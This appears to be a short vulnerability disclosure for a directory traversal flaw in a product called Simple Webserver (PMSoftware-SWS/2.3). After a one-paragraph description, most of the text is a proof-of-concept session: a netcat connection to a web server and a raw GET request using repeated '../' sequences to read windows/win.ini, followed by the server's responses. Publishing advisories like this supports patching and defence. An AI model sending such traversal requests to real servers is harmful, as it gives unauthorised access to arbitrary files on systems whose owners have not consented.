Simple Webserver contains a flaw that allows an attacker to traverse outside of a restricted path. The issue is due to the program not properly sanitizing user input, specifically directory traversal style attacks (e.g., ../../). This directory traversal attack would allow a remote attacker to gain access to arbitrary files.
root@bt:~# nc -v 192.168.1.132 80
192.168.1.132: inverse host lookup failed: Unknown server error : Connection timed out
(UNKNOWN) [192.168.1.132] 80 (www) open
GET ../../../../../../../../windows/win.ini http/1.1
HTTP/1.1 400 Bad Request
Server: PMSoftware-SWS/2.3
Date: Wed, 02 Jan 2013 22:45:2 GMT
Connection: close
HTTP/1.1 200 Ok
Server: PMSoftware-SWS/2.3
Date: Wed, 02 Jan 2013 22:45:2 GMT
Accept-Ranges: bytes
Content-type:
Content-Length: 403
